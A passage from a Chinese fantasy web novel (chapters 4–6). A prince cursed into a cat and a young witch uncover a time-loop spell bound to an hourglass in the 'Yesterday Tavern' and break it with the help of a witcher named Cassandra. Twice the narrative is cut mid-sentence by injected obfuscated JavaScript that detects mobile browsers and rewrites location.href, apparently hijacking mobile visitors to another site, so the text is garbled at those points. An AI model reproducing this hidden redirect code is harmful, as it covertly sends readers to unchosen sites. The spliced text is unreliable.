4. 昨日酒馆 诚实地说,卢卡斯并不信任他姐姐的任何想法。 五岁时,伊莱恩便告诉他,他们每天晚上吃的熏鱼片都是从美人鱼的尾巴割下来的,害他整整三个月不碰任何海鲜。 七岁,她说他有个绝妙的好点子能取得莫里斯领主小女儿的芳心,结果为他梳了两条麻花辫带他出席皇家晚宴。莫里斯一家还以为他们记错了德维尔次子的性别。 十岁生日那天,她痛心疾首地向他透露一个惊天动地的秘密:其实,他是格拉西亚有天早晨在后花园的土堆里捡来的。这令他哭着冲进御前会议室,询问国王王后,获得阵阵哈哈大笑,因为他的外貌简直就是年轻国王的翻版。 当然,他也不是任姐姐欺负的懦夫。可惜他的反击一向伤不到她,而真正伤害她又会令他寝食难安好几周。 但这一回,伊莱恩却领他们到自己的寝室,紧紧关上门,才说: “我不知道任何信息,但可能,我的‘小蝴蝶们’知道。” “小蝴蝶们”指的是会向伊莱恩传递消息的底层人民,通常是乞丐、流浪汉、妓女或孤儿。 卢卡斯立刻明白她的意思,但王子怎么能去和那些人打交道? 他翻翻眼睛,不知道翻白眼这个动作在猫脸上是怎么体现的。 “我的情报网密布全城,其他领地也不乏人脉。”伊莱恩说,“知道下城区的昨日酒馆吧?” “知道。”“不知道。”卢卡斯和阿什琳同时道。 “去那儿找一个红头发的女人,叫卡桑德拉。猎魔人装束。她应该和萨诺瓦关系不错。”伊莱恩说,“我前些天一直想找她,因为我给她写了很多信邀请她聊天见面,可她迟迟没有消息……直到一只小蝴蝶告诉我,人们最后一次见她是在昨日酒馆。” 卢卡斯和阿什琳面面相觑。互为朋友的法师和猎魔人同时杳无音信,会是巧合吗? “人们最后一次见她是什么时候?”阿什琳问。 伊莱恩摇头。 “我能告诉你们的就这么多。” “那信息量真大。”卢卡斯讽刺。 “我会替你们打掩护。”伊莱恩忽视他,“父王和王后只会知道王子殿下正在送出去一只猫。祝你们好运,我还有剑术课要上呢。” 送他们出去前,她冲阿什琳眨眨眼:“替我照顾好他,好吗?” 卢卡斯还没来得及反驳,并追问她为什么觉得他需要被一个小女巫照顾,门就被关上。 ———— “但是今天我没法再用一次幻术。”阿什琳思索,“守卫会起疑心。” “我们可以等太阳落山再出发,你只需要把头藏在兜帽里假装我的女佣,随便拿个什么东西说是猫就行。” 卢卡斯梳理着自己的毛,一阵烦躁。 父亲真没什么资格将他赶出餐厅……王宫里的任何一处房间当然都比他自己脏多了!他才不想躲在地上,被女巫的双脚夹着。 他偷瞟一眼始作俑者。金头发的女孩正费劲地解开属于他的披风与上等汗衫,但最后也没用手解开,于是念出道咒语。 现在,卢卡斯有点担心贝利先生没自己想象的那么厉害,毕竟他教出了阿什琳这样笨手笨脚的麻烦鬼。 阿什琳接着换衣服。 “哇哦,我还在这儿呢。”卢卡斯忙转过身,什么也没看见,“你就不能拉个屏风?” “不好意思,我忘了,因为你是只可爱的小猫咪。”阿什琳没好气的声音传来,“小猫咪通常是不会偷窥的。” “我也不会偷窥!再说,猫有什么可爱的。” “……你再说一遍?!我不允许你侮辱自己的种族。” 太阳即将落山时,卢卡斯开始焦躁不安,觉得浑身上下有蚂蚁在爬。 终于,晚钟敲响。 卢卡斯感觉自己猛地长高,像发酵的面粉一样被垂直拉长;衣服取代黑毛,回到他身上;那多余的尾巴也不见踪影。 他欣喜地摸着自己的脸和身体,感受属于人类的骨骼、皮肤与黑发,随后摇摆着站立起来,仿若新生儿一般。他整理好衣袖,拍去上面残留的猫毛。 同时,他体内似乎也有东西发生了变化:那股来自猫科动物的野劲正在淡去,他不再那么渴望抓东西、奔跑、舔毛或随机冲一个人大喊大叫抱怨自己的不幸。 然而,他也感到一种奇怪的清醒。以猫的形态做的那些事如同醉酒之行,仿佛是另一个灵魂的记忆,这令他不寒而栗,连变回人类的喜悦都打了折扣。 他都干了什么? 在餐厅抱怨自己尊敬的老师,飞上餐桌挑衅父王? 那不顾一切要冲口而出的冲动,他记得清清楚楚。 当然,是阿什琳替他说的。可那些都是他的真实想法吗?或许一部分是。但他不应该,也不会真正说的。 比如,那句想让拉丁语老师离开的话——客观讲,那位老师并非一无是处,只是上了年纪,思想保守,口音也有点问题。 那样说未免太傲慢了,他怎敢自认比年长许多的师长更渊博? 卢卡斯将头发别过耳后,手插在发间,不断回想。 与科学不同,魔法往往是灵活变通的。同一道咒语,在不同人身上常有不同效果,即便是被弄混的咒语也是如此。 难道这意味着,他心底里藏了一头野兽? 他看到一只巨大的、浑身黑毛的豹猫,凶狠地咆哮着,从言语,从习惯,从动作,一点一点撕碎那个整日躲在城堡中的王子。 他终究不配做狄亚斯的王子,不是么? 如果被女巫诅咒成动物就能使他失去理智、发疯发狂,那他究竟是多么软弱一个人。 倘若父王知道了…… 阿什琳微微张嘴,投向他的目光有些茫然而不知所措,似乎突然不认识他了。 她上前扯了下卢卡斯的衬衫,皱起眉。 “你真的变回来了。”她显得很失望。 卢卡斯清楚为什么。 比起一个王子,显然任何女巫都更喜欢黑猫。 只有公主才喜欢王子——而且还是童话中的公主。 伊莱恩可不喜欢王子。 “很遗憾,是的。”他回过神来,决定以后再想那些乱七八糟的。他语气轻快,一手向后背去,一手伸出,向阿什琳作邀请姿势,“我们走吧,贝利小姐?” 阿什琳将绿萤石法杖缩成一束花的大小插在腰后。他们顺利地从守卫蒙混过关,一路骑马至下城区,在挂着昨日门牌的酒馆前停下。 进去之前,卢卡斯拦住阿什琳。 “你要知道……这里都是下城区的人,对你这样的小女巫不会很友好。” “而对你这样的王子更是不友好。”阿什琳犀利地说,一把推开卢卡斯,“我从小住在狐尾河湾边的森林,你以为我没进过酒馆?” 他叹气。 “我只是建议你小心一点,以防被卷入麻烦。” 女巫盯着他:“我还是更喜欢你是猫的样子。” 奇怪的是,这句话并不令他恼火。他本想问为什么,但最后只是咧嘴一笑,跟着她踏入酒馆。 麦芽酒和苹果酒的香气扑鼻而来,混着汗味与泥腥味。酒桌歪歪扭扭地分布着,壁炉上摆着精致的沙漏。嘈杂的声响在卢卡斯耳畔嗡嗡打转。 他暗自庆幸,至少此刻身为人类,不必承受猫那恐怖的听觉。 然而,在这儿每多待一秒都是煎熬。他那件蓝斗篷不过是挨着地面,就叫他浑身汗毛倒竖。 更令人不安的是,酒馆里的某种事物让他本能地想要逃离。但他一时半会意识不到是什么。 阿什琳倒显得十分快活,新奇地回望着所有面色不善之人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239022|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她耸耸肩:“和我家那边的酒馆没什么区别嘛。” 卢卡斯穿过那些衣衫褴褛的酒客,浑身不自在。他尽量不去理会那些毫不掩饰的打量和窃窃私语,却又忍不住悄悄观察他们。 明明住得不远,自己同他们完全不是同一层世界的人。这让他胃里有种奇怪的感觉,像是同情,或者不公平。 一个醉汉半瘫在长椅上,好像再也不会苏醒;两名小伙靠在墙角,为世界的本源究竟是气还是土吵得像要决斗;几个孩子冲过他小腿,连鞋都没穿。 他的目光掠过几个掷骰子的皮衣壮汉、面色憔悴的农夫和不停擦洗酒瓶的老板,差点也掠过那个桌子上的红色影子,但及时停住。 红头发的女人身材魁梧,一身猎魔人装束:皮质紧甲、暗色斗篷、长筒皮靴,腰间剑鞘印着一头奇美拉。 她站在酒桌上,晃晃悠悠,扯着嗓门讲道: “……然后,就像这样,”她挥拳砸向桌面,震得酒杯乱响,“九头蛇的主脑袋滚到地上,差点给我压成渣!” 周围一群人听了她的话,哈哈大笑。 卢卡斯戳了戳阿什琳。 “那边。” 尽管他猜到会这样,但还是有点惊讶: 阿什琳径直走了过去。 “你好,小姐。你是卡桑德拉吗?” 猎魔人打住话头,审视起来。 “我的确是。怎么?” 卢卡斯上前一步,咳嗽一声。 “打扰了,小姐,我为我朋友的失礼道歉。”他慢条斯理道,“这位是阿什琳,我是卢卡斯,我们是来——” “好家伙!这不是公主的小弟弟吗!”猎魔人酒杯一扔,从桌上一跃,跳下来的时候卢卡斯还以为地震了,“我上次见你,还是个哭唧唧的小宝宝呢!” 这下,整座酒馆的目光都齐刷刷地汇来,全都知道王子在下城区的酒馆并且小时候被猎魔人见过了。 卢卡斯的微笑凝固在脸上,面颊燃烧。 太阳神在上。他怎么不挖个地洞钻进去呢? “看来公主的朋友都很记得细节啊。”他从牙缝里挤出这句话。 猎魔人粗壮的手臂大力拍向卢卡斯,给他拍得一个踉跄,不得不扶住周围的木桌。 “嗬!瞧你这薄身板儿。”她露出一口洁白的牙,“别害羞,我可是你姐的老朋友。” 旧友似的,她搭上他的肩。 “听我说,殿下。倘若想讨女孩子欢心,”她瞅了眼阿什琳,冲卢卡斯低声道,“您还得多加锻炼。我有几招健身妙招……” 说实话,卢卡斯认为自己就算不强壮,也说不上太瘦弱。比起猎魔人的力量与爆发力,他更敏捷、轻盈。 就算他打不过伊莱恩,打不过猎魔人,他也不是个宫廷寝室里的花瓶。那么多年的剑术课当然不能白学。 只是,身旁女子实在壮实得像头野牛,他也无处辩驳。 “多谢你的好意。”卢卡斯无奈地说,“但恐怕我目前心无所属。我和阿什琳,是来向你寻求帮助的。” “原来如此。”卡桑德拉一拍大腿,“我还以为您是带女朋友来约会呢。” 卢卡斯在心中哼笑。阿什琳这个麻烦鬼可是连朋友都算不上——和把自己诅咒了的女巫交朋友?真是搞笑。 再说,他也不能随便交什么女朋友,等在他未来路上的可是领主儿女之间的联姻。这么一想,他倒是有些酸涩。 “请不要这么讲。要是传开,我和阿什琳就都要遭遇不测了。” 阿什琳将毛茸茸的金色脑袋挤过来,像只急于加入游戏的狗。 “我们在寻找大法师萨诺瓦·贝利的下落,伊莱恩公主让我们来问你。” 出人意料的是,卡桑德拉的笑容消失得比暴雨还快,目光也冰冷起来。 和刚才判若两人。 5. 时间问题 “又是来骗消息的,嗯?”卡桑德拉声音中的冷气几乎让卢卡斯和阿什琳同时后退两步,“告诉你们,我对此一无所知。” “你可以相信我们!”阿什琳说道,“你自己也说是卢卡斯姐姐的朋友。而且,萨诺瓦是我的养父和老师,拜托,这很重要。” “小女孩,我不会再说第二遍。我不知道任何事。” 卢卡斯有一种奇怪的感觉,却又说不上来是什么滋味。就和……刚踏进酒馆的那种感觉一模一样。 片刻后他意识到,可能是卡桑德拉的眼睛。它们好像变得空洞、乏味。 某样东西在操纵着什么。 又或许是他想多了,卡桑德拉只是具有作为猎魔人应有的谨慎。 但是,她没有理由不相信他们,不是吗?听她的口气,她绝非一无所知。 “为何要有所隐瞒呢,卡桑德拉小姐?您肯定也有不少亲朋好友,想象一下他们失踪吧——难道你不愿费所有心思挖到哪怕一丁点儿线索吗?这就是阿什琳现在的处境呀。”卢卡斯彬彬有礼,“倘若您遇到困难,我们也可以帮忙。毕竟,我还是赫利安的王子。” 卡桑德拉从鼻子里哼了声。 “管你们亲不亲或者王子不王子,但我不会背叛萨诺瓦的。我们发了誓要保密——而我,是一个信守承诺的人。” “这么说你其实知道所有事。”阿什琳立刻说。 “我没这么说。” “至少告诉我,他还活着吗?” 卡桑德拉警惕地看着她。 “我最后一次见他时,还活着。”她简短地说。 听她的口气,仿佛这不算好消息似的。 “如果你告诉我们萨诺瓦的踪迹,想要多少金子就要多少。”卢卡斯说。 卡桑德拉冷笑起来:“别以为你能用金币贿赂我,王子殿下!我靠正义与忠诚办事。” 卢卡斯挑起眉:“这话从打怪赚钱的猎魔人口里说来可真讽刺。” 卡桑德拉不仅仅是因为承诺而隐瞒,肯定有其他东西在影响。或许,他们应该再观察一段时间,谨慎问问题。 “你真的一点别的信息都不能告诉我们?”阿什琳问。 “我不能。还有别的问题吗?” 阿什琳沮丧地缩回去,但片刻之后,橄榄绿的眼睛却又闪起调皮的光。 顿时,一种不祥的预感爬遍卢卡斯全身。 “啊,的确还有。”阿什琳嘴角一翘,“卢卡斯小时候是什么样的?” “知道我变成猫是什么样子还不够吗?”卢卡斯有些恼火。 这回,卡桑德拉倒是饶有兴趣地望着他俩,没了那副拒人千里之外的模样。 “什么猫?有故事掖着没说?” 在卢卡斯阻拦之前,阿什琳已经毫无顾忌地将来龙去脉告诉卡桑德拉。 这不能怪她,毕竟是他自己先说漏嘴的。 卡桑德拉笑得浑身发颤,而卢卡斯耐心地等她恢复语言能力。 “笑完了?” “你们的故事精彩多了。”猎魔人平缓着呼吸,“我只是见过王子殿下小时候而已。那会儿我和伊莱恩刚认识,她也就九岁。卢卡斯刚学会说话,喜欢听王后讲仙女让平凡少女变成公主的童话故事。” “真的?”这回轮到阿什琳咯咯发笑。 卢卡斯对卡桑德拉一点印象也没有,无法报复。 正当他寻思怎么反驳时,仿佛一只无形的小手划过他的脊梁,一种无法言说的恐惧渗进他的大脑,又滑溜溜地不见踪影。 “都是伊莱恩告诉我的。你真的听这些长大吗,殿下?” 然而卢卡斯没在听。他的视线越过阿什琳和卡桑德拉,飞速扫过整座酒馆。 所有人看起来都再平常不过,和他刚刚进来时没什么两样。每个人都在干他们该干的事。 他十分确定自己刚才捕捉到了什么,可现在却消失了。 “卢卡斯?”阿什琳发现异常,“有什么不对吗?” “没有。”他心烦意乱地说,“你们聊完了吗?时间不早了,咱们休息吧。” 猎魔人耸耸肩,拎着酒瓶,晃晃悠悠地回到酒客间,继续讲九头蛇的故事。 阿什琳打了个哈欠,拉着卢卡斯向楼上客房走去。 “明天,说不定卡桑德拉就会改变主意。” “我不好说。”卢卡斯看看周围,“但我有种不祥的预感……这座酒馆有问题。卡桑德拉也有问题。” “是吗?”阿什琳也望向四周,“什么问题?我怎么没有感觉?如果是魔法的话,我想我会有感应的。” “我不知道,只能祈祷我错了吧。”卢卡斯打开房门,尘埃的味道让他连连咳嗽,“虽然没有任何证据,但我就是觉得——” 他眼前银光一闪,似乎又看到什么。 但其实什么也不是,只是门牌号“103”,和底下的“昨日酒馆”。 卢卡斯更难受了,总觉得错过一大群关键信息。 “卢卡斯,究竟怎么回事?难道是变回人让你不舒服了?” “或许吧,”他回答道,“晚安,阿什琳。” 阿什琳似乎还想说些什么,但卢卡斯已经迈入客房。 可能真的只是想多了,他躺在床上,瞪着天花板上一角的蜘蛛。伊莱恩经常说他太爱胡思乱想,这就是为什么他技不如人。 想得太多,行动太少,因此父王也永远看不到他的努力。 但是,让卢卡斯·德维尔停止思考? 天方夜谭。 他踢开被子,回想着酒馆令他不适的感受,却没想起任何细节。于是他又坐起来,蹑手蹑脚地推开门。 酒馆和方才一样吵闹,充满欢声笑语。 这个时间也没有人去睡觉吗? 他侧起耳朵,熟悉的声音传进来: “……那九只头同时冲我嘶吼起来,我同伴吓得弓都飞了。能怎么办呢?我一鼓作气冲上去,拿起剑就是砍!九头蛇一个脑袋掉了,可紧接着却长回来。我和同伴都目瞪口呆。 “接着,我想起师傅说的话:无论面对什么怪物,都得找到源头。九头蛇定是也有个源头的,我猜是有个主头……” 卢卡斯蹑手蹑脚地离开房间,在一个大木桶后蹲下。 “……然后,就像这样,九头蛇的主脑袋滚到地上,差点给我压成渣!” 一阵哈哈大笑。 卢卡斯头紧紧贴着木墙,心脏在胸腔里跳得厉害,大气也不敢出一口。 迷雾消散,所有零碎的细节,都汇聚成那令他毛骨悚然的感受。 他从酒桶眼儿里观察着。 没错,就是这样。 酒馆中的所有人都在做和一小时前一模一样的事:醉汉半瘫在长椅上,两名小伙为世界的本源争吵,几个孩子赤脚横冲直撞,皮衣壮汉掷着骰子,农夫憔悴地饮酒,老板不停地擦洗老酒瓶,卡桑德拉激情四射地讲述猎杀九头蛇的事迹…… 唯一不同的是,并没有另一个他自己和阿什琳进来。他没有在重复自己一小时前做的事,阿什琳应该也睡着了。 也许是因为他们还没有待够时长,卢卡斯琢磨。 这说不通。 能确定的是,这是魔法。某种时间循环魔法,周期不长。 卢卡斯只需要找到魔法的源头就好了。或许作为女巫的阿什琳更擅长这个,但她说过自己困,他不该打扰。而且,他肯定有能力独自解决一家被诅咒的酒馆。 他可是王子。 突然,一片阴影投在他眼前。 “喂,你!”身后,一个胡子像黑灌木似的男人手指着卢卡斯,“鬼鬼祟祟蹲在这里坐什么?” “我……”卢卡斯心一慌,“我不知道……” 男人眯起眼。 “你是想偷东西吗,臭小伙子,嗯?” 卢卡斯瘫在地上,尽全力装出很无力的样子。 “不,我没有……” “看你这行头,不像扒手,倒像是个贵族啊。你有权有势的爹地没告诉过你,偷偷摸摸不好吗?” “我不知道……自己在哪……”卢卡斯半闭上眼,手像螃蟹一样乱爬,假装模糊不清地说,“很多酒……啊……” 男人两眼一翻。“原来是喝醉了。” 他摇摇头,毫不在意地走了。 卢卡斯大松一口气,这一回光明正大地来到最热闹的酒馆中心,像之前的阿什琳一样,直直来到卡桑德拉眼前。 “卡桑德拉!” “相信我,九头蛇比弥诺陶洛斯难杀太多——谁叫我?” “是我。还记得吗?刚和你说过话。” 猎魔人和刚才一样热情地跳下桌。“这不是——你不会是我想的那个人吧!卢卡斯?”她惊喜地叫道。 看来她不记得。 卢卡 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那只精美得与整座屋子都毫不沾边的沙漏,直直立在壁炉上。 里面的沙子压根没动。从来就没动过。 他立刻扑向沙漏,可有人已经先行动了。 卢卡斯反应很快,躲过一个铁匠和一个骑士的攻击,但还是被两三个强壮的游侠和猎人扣住四肢,拖向死角。他的身体被狠狠按向墙角,后背撞上粗糙的石头。 他拳打脚踢,听见自己粗重的喘息混着对方沉闷的呼吸,闻到他们身上的皮革与汗味。 “你们不明白,”他气喘吁吁道,“这酒馆中了时间循环咒!魔法就藏在那个沙漏里,我们需要打破它。” “污蔑!把他扔出去!” “把他囚禁。他不属于这儿。” “……拿他娱乐!” “听我说——” “污蔑!把他扔出去!” “把他囚禁。他不属于这儿。” “……拿他娱乐!” 卢卡斯明白,现在这座酒馆里唯一清醒的,恐怕就是他,和在楼上呼呼大睡的阿什琳。 他无论如何也是说不不了其他人的——在咒语之下,他们只会认定,任何直接打破咒语的人都是障碍,必须清除,就像机械程序中的错误。 他们已经彻底失去了理智。 他最好弄出大动静吵醒阿什琳。 卢卡斯掏出匕首,刺向游侠的大腿,虽然没刺中,但抓着他的人都本能松手一刻。 他立刻从他们臂窝底下滚出,一连推翻好几套桌椅,酒杯叮铃桄榔滚落。有那么一会儿,卢卡斯感觉自己又变回了黑猫。 他冲向壁炉,眼看就要抓住沙漏。 可惜有什么东西击中他的后脑勺。 他两眼一黑,失去意识。 等他再次睁眼时,卡桑德拉将他死死绑起来。 “有必要吗?”卢卡斯呲牙咧嘴,摸着发疼的脑袋,“我本来也没力气干任何事。” “现在,来决定把他怎么办吧,大伙儿们。”一个赏金猎人举着把银刀,“我们该不该剥了他的皮?” 人群中传来低沉的赞同声。 “哇哦,完全没必要!”卢卡斯恐慌道,“我的皮怎么你了?” “你的皮很漂亮。”赏金猎人磨刀,“是无数怀春少女梦想中的皮囊!” “要是换个语境,我可能会说谢谢。” 猎人的刀抵上他的下巴,划出一滴血。 “我是赫利安城的王子,卢卡斯·德维尔。如果你想被砍头,我很乐意你这么做。” “鬼才在乎什么王子。”猎人嗤笑,“这里独立于时间之外,不会有人知道。所有人都必须被困在这里,永不见天日。” 卢卡斯闭上眼睛,希望自己是在做梦。 “放了他。” 这时,一个女孩的声音说道。 猎人猛地回头。 阿什琳·贝利站在台阶上,长长的法杖握在手里,绿光莹莹;金绿色的眼中怒气燃烧,整个人就像一匹发怒的狼。 她的两侧,是两棵还在不断生长的、巨大的橡树,正在冲破所有房屋架构,碎木与瓦片如雨水般坠落。 6. 女巫信徒 “别等我再说第二遍,”女巫重复道,“放了他。” 然而,酒馆中的人只是更加愤怒。那两个争执世界本源的年轻人大胆扑向阿什琳,被两枝藤蔓像卷心菜一样卷起来。 “阿什琳,”卢卡斯挣扎,“酒馆中了时间循环咒,咒语在那个沙漏里。把沙漏打碎!” “休想,”卡桑德拉大吼,“那是我们赖以生存的东西!” 卢卡斯的心提到嗓子眼儿。阿什琳不过是河湾的森林女巫,一辈子也就采采草药,怎么可能打得过一酒馆的人? 她的幻术都无法撑过一个午餐,短时间内爆发这样的魔力会耗尽她的。 她宛若滑滑梯般乘着生长的树枝飞下楼,几个猎人试图用剑阻拦,却被枝叶打到墙上。 “哟,对不起!”她竟然还有心思道歉,语气就像弄坏了小朋友的玩具。 “碰一下沙漏,女巫,”冰冷刺骨的触感紧贴上卢卡斯的脖子,刀锋压出一线血痕,“你这位漂亮的小少爷,脑袋就得换个地方待了。” 咔嚓。 卢卡斯连人带椅一歪,感到身下的椅子腿断了一条。 旁边,深绿色的荆棘颤颤悠悠地生出来,尖刺猛擦过卢卡斯的脸。 “小心点!” 这女孩对魔法的控制简直是灾难。 “抱歉!没控制好。” 她急挥法杖,吧台旁一个装满空酒瓶的木箱轰然爆裂,藤蔓瞬间缠住几个扑来的壮汉脚踝,将他们狠狠掼倒在地。 玻璃碎裂声、咒骂声、哀嚎声混作一团。 “我的百年橡木桶——”酒馆老板的哭嚎被淹没在喧嚣中。 猎人被这混乱和突袭的荆棘分了神。卢卡斯强忍肋骨的钝痛和绳索的勒紧,猛地向侧面翻滚。 “阿什琳,别管他们了!直接打碎沙漏!” 他的声音穿透嘈杂。阿什琳闻声猛地转头,那双因魔法而显得格外明亮的绿眼睛瞬间锁定了目标。 “哦!在那儿!”仿佛刚才那场生死搏斗只是寻找沙漏途中的小插曲。 “休想。” 卡桑德拉硬生生扯断了缠绕小腿、布满倒刺的藤蔓,像头发狂的披甲野猪一样撞飞挡路的桌椅。 猎魔人银亮的短剑划出一道寒光,直刺阿什琳后心。 “后面!”卢卡斯的心脏几乎停止跳动。 猎魔人挥剑向阿什琳砍去,却被一根从吧台后方横抽过来的树枝狠狠击中手腕,刀脱手飞出。 阿什琳新奇地看着自己的手。 “我还从来没这么玩儿过。” 卢卡斯也从未见过这样的魔法。她看起来几乎有点疯狂,绿眼睛里夹杂着怒气与兴奋,头发和背后那些枝叶一样凌乱得仿佛要飞起来。 没有哪个酒客能够打断她前进的步伐,大部分人已被她的藤蔓拴住或压在地上;但也没有人真正受伤。 她是怎么做到的? 没有咒语,没有水晶,没有草药,甚至法杖也像是个装饰。 这绝不仅仅是什么乡下女巫的魔法把戏。 当然,她的魔法缺乏管教,还有不少进步空间,但如此潜力已难能可贵。 卢卡斯震惊地望着一切,差点儿忘了自己还狼狈地倒在地上。 他朝窗外瞄了瞄,黎明的曙光从窗棂透过。 又弄翻了几个酒客,阿什琳似乎筋疲力竭,走路摇摇欲坠。 显然,她并没有合理地规划好魔力的分布。 卢卡斯像毛毛虫一样蹭向沙漏,被一脚按住。 “抓住你了!”酒馆老板欣喜道。 这一回,没有莫名其妙的植物钻出来帮他忙了。 阿什琳满头大汗,喘着粗气,法杖不知掉在哪里,两只手臂分别被两个酒客押着。她拳打脚踢,也无济于事。 “请问,你们谁想先死?”一个诗人颇有礼貌地问。 卢卡斯和阿什琳对视一眼,知道对方和自己想到同一处:他们只需要拖延时间,等待日出。 “当然是这该死的皇室成员先死,”阿什琳尖叫道,“但是直接杀了他也太浪费了,不是吗?为什么不将他好好羞辱一番呢?” 卢卡斯眯起眼睛。 “别听她的!各位别忘了,她可是个女巫啊。女巫都是利用人心、迷惑他人的怪物,在以前,烧死女巫还是很正常的事。现在你们竟然还要纠结? “什么时候开始,王国对巫术的惩治已经如此懦弱无能?要知道,她差点把酒馆变成松树!” “德维尔家一直在剥削你们所有人!他们享用最豪华的城堡,却让你们住着三两下就搭成的木屋;享用着最美味的香草烤鸡和蜂蜜面包,却让你们吃黑面包配烂豆子;让王子从小甚至能接触精灵语,却不给你们的孩子最基本的教育机会。”阿什琳不甘示弱,振振有词,“一个来自这样的家族的儿子,就这么轻松地死了,难道不亏吗?” 卢卡斯强烈怀疑,阿什琳借机说了不少真心话。 但确实成功了:酒客们犹豫不定。 倘若没被施咒要处决两个人,他们大概不会多想一秒;但魔法侵蚀了他们的大脑,夺取了思考能力。 “你们怎么想?”酒馆老板问其他人。 “要我说,先杀女巫吧。”卡桑德拉冷冷地说,“我们猎魔人就是干这一行的。” “国王对我们村的土地不管不顾!要我说,杀了他的儿子报仇——” “巫师都是骗子——” “呸,皇室才是——” “很有道理。”卢卡斯点点头,觉得时间差不多,“那么,我准备好赴死了。” 在阿什琳惊恐的注视下,他主动将头伸向长剑。 “我数三秒。” “等等,卢卡斯。” “三……” 卢卡斯余光捕捉到一点阳光。 他冲阿什琳挤了挤眼睛。 “二………” “一!” 剑落了个空。 卢卡斯微微一笑。 他没算错。 就在这时,清亮的晨光洒进屋内。 几秒之内,卢卡斯的视野就矮了一大截。 遗憾的是,他离地面的污垢和酒客们的臭脚也更近一步,那恶心的泥泞与气味差点让他直接昏倒。 所有事物都变成蓝色与绿色调,并且模糊不清。只有那些正在动的事物异常清晰:肆意生长的野藤、清扫藤蔓的老板、搬运面包鞋的蚂蚁、滚落的钉子、被尖刀威胁的阿什琳。 他灵巧地钻出绑带。 酒客们大惊失色,一时间手忙脚乱。阿什琳趁机挣脱,拿起沙漏,狠狠砸在地上。 金色的沙子闪闪发光,渐渐隐入地缝。 整个酒馆的空气剧烈地震动了一下,发出低沉的嗡鸣。 那些狂野生长的植物如同被瞬间抽走了生命力,疯长的势头戛然而止。 人们像失线的布偶一样倒下,眼中的狂热和愤怒急速褪去,取而代之的是大片大片的茫然。 卡桑德拉举着短剑僵在原地,眼神涣散失焦,仿佛一个刚被从深眠中粗暴唤醒的梦游者,完全不明白自己身处何方。 阿什琳身体晃了晃,脸色苍白,汗珠浸湿了鬓边的金发。 已是黑猫的卢卡斯跳过去,担忧地拍了拍她。 卡桑德拉摇摇晃晃地走过来。 “发生了什么事?你——”她瞪着卢卡斯,“哪儿来的黑猫?” 卢卡斯则给了她几爪当作报复。 这,和她给他们的伤害相比简直不值一提。 ———— “啊,他们灵魂是进了身子,可惜智商没有同步回来。”卢卡斯说。 此时,他们刚清理了大部分阿什琳的藤蔓与树枝,并安抚过受惊的酒客。 那些人惊魂不定、记忆错乱,有个植物学家甚至精神失常,大喊自己是一只正在运面包屑的蚂蚁,只好被送去修道院或医院。 “这么说,我们被人陷害了。”听完二者人猫混杂外加翻译的描述,卡桑德拉说,“难以置信,我竟在这鬼地方浪费整整一个月……得错过多少作恶的怪兽。” 卡桑德拉依然在喝酒,但卢卡斯和阿什琳毫无胃口。 “更准确地讲,是你被人陷害。”卢卡斯说,“时间循环咒不是一般的咒语,而是黑魔法……” 他顿了顿。 “辛西娅的黑魔法。” “等等,不是我想的那个辛西娅吧?”阿什琳向卡桑德拉翻译完卢卡斯的猫语,忙问,“被诅咒在迷宫永不得见天日的那个?” “正是她。”卢卡斯说,“狄亚斯大陆历史上最厉害的黑女巫。传说她心狠手辣、无恶不作,甚至为力量杀了自己的亲生儿子。” 他转向惊魂未定的猎魔人。 “在我们从黑魔法中救了你一命之后,还不愿意告诉我们信息吗,卡桑德拉?” 阿什琳翻译过来。卢卡斯知道她一定会说的——猎魔人虽信守承诺,但更看重价值交换。或许金币的确不能买通她,但救命之恩?绝对能。 再说,沙漏的魔法破碎后,她也失去了束缚。既然那魔法的目的就是囚禁卡桑德拉,肯定是不让她透露某些信息。 卡桑德拉表情凝重,低下头,终于清了清嗓子。 “我之前和一个同伙儿,还有萨诺瓦,我们仨,一起研究过一件事儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239024|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”卡桑德拉将麦芽酒一饮而尽,胳膊糊弄地擦擦嘴,“这件事儿就是——萨诺瓦说,他发现了一个辛西娅的信徒。” “什么?!”卢卡斯震惊道,“可是她已经被封在迷宫里一千年,不管过去再有多少辉煌,如今都不该存在——我是说,真的有人会傻到去追随一个已经风干了的老女巫吗?” “谁知道呢,那女的和她的粉丝们都是变态。”卡桑德拉说,“总之,我们仨本来是打算去北方追捕那个信徒的,约的是两周前——呃,现在看来应该是六周前,毕竟我也不知道这儿的时间循环。但反正,老萨诺瓦到最后也没个影儿!” “那时间线就对得上了,”阿什琳思考,“萨诺瓦是一个多月前离家的。之后,我给他写了很多信,他一封都没回,唯一一条消息是前几天,让我来赫利安城帮忙治愈卢卡斯王子。” 卡桑德拉又点上杯啤酒。 “唉,法师,就是疑难重重,是不是?” “至少他知道自己在干什么,”卢卡斯讽刺,“而不像猎魔人一样被困在一个小时里什么也没发现。” “嘿!” 阿什琳推了推他。 “那么,大概萨诺瓦是独自去追捕信徒了。而不知怎地,信徒知道卡桑德拉和萨诺瓦的关系,于是用时间黑魔法将卡桑德拉困在酒馆,以防消息外漏。”阿什琳分析道。 “没错,可惜他这招玩得太过招摇——其实,想把人困住还有比时间循环简单得多的方式。”卢卡斯饶有兴致地看着地上破碎的、曾经精美的沙漏,“这人一定是个爱显摆的自恋狂………又或者,他是个学到什么就想立刻试试的好奇猫。” 